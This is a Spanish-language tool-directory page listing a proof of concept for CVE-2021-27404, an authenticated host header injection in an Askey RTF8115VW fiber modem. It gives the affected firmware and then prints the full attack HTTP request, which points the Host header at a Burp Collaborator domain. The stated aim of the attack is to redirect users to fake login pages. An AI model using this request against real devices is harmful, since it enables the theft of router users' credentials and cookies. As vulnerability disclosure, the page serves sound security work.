Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-27404 — HostHeaderInjection-Askey | Kitploit
Herramientas/GitHubGitHub/bokanrb/cve-2021-27404
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPhishingSeguridad WebPruebas de Penetración
GitHubbokanrb/cve-2021-27404

CVE-2021-27404

HostHeaderInjection-Askey

Ver Repositorio
318hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Inyección de Cabecera de Host Autenticada - Módem de Fibra Askey Internet

Fabricante: Askey
Versión de Software: BR_SV_g11.11_RTF_TEF001_V6.54_V014
Modelo: RTF8115VW
Cabecera Vulnerable: Host
No probado en otro modelo/versión.

Impacto: Un atacante podría aprovechar esta vulnerabilidad para redirigir al usuario a una página de inicio de sesión falsa con el fin de extraer sus credenciales o cookies.

La Solicitud Final

GET / HTTP/1.1
Host: kay4tb35bh55y38n8h4teim21t7jv8.burpcollaborator.net
Cookie: _httpdSessionId_=7924107467ea5838a196b65306ca7236
Upgrade-Insecure-Requests: 1
Referer: http://x.x.x.x/cgi-bin/te_logout.cgi
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Connection: close
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate

Texto alternativo

Descargar herramienta